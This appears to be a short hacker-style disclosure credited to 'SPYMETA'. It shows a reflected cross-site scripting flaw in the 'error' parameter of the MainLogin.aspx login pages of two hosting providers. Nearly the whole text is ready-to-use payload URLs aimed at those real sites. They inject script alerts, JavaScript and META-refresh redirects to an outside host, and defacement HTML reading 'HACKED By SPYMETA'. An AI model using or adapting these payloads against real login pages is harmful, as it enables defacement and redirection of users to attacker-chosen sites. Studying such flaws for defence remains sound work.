This is an URL Bug on 1ASPHost & DomainDLX Hosting Services Internet Sites :

We Can Run Script, META Tag Or HTML Code.

JScript

Example (1ASP Host) : 

http://www.1asphost.com/MainLogin.aspx?error=<script>alert('HACKED%20!')</script>

Example (DomainDLX)

http://www.domaindlx.com/MainLogin.aspx?error=<script>alert('HACKED%20!')</script>

Redirect JScript

Example (1ASP Hosting) : http://www.1asphost.com/MainLogin.aspx?error=<script>window.location.href="http://members.lycos.co.uk/spymeta/hacked..jpg"</script>

Example (Domaindlx) :

http://www.domaindlx.com/MainLogin.aspx?error=<script>window.location.href="http://members.lycos.co.uk/spymeta/hacked..jpg"</script>

HTML Codes 

Example (1ASP Hosting) : http://www.1asphost.com/MainLogin.aspx?error=<font%20size=20><center><br><br><br><br>HACKED%20By%20SPYMETA%20!<body%20bgcolor=#000000>

Example (DomainDLX) :

http://www.domaindlx.com/MainLogin.aspx?error=<font%20size=20><center><br><br><br><br>HACKED%20By%20SPYMETA%20!<body%20bgcolor=#000000>

META Tags 

Example (1ASP HOST): http://www.1asphost.com/MainLogin.aspx?error=<META http-equiv="refresh" content="0; url=http://members.lycos.co.uk/spymeta/hacked..jpg">

Example (DomainDLX) :
http://www.DomainDLX.com/MainLogin.aspx?error=<META http-equiv="refresh" content="0; url=http://members.lycos.co.uk/spymeta/hacked..jpg">

credits : SPYMETA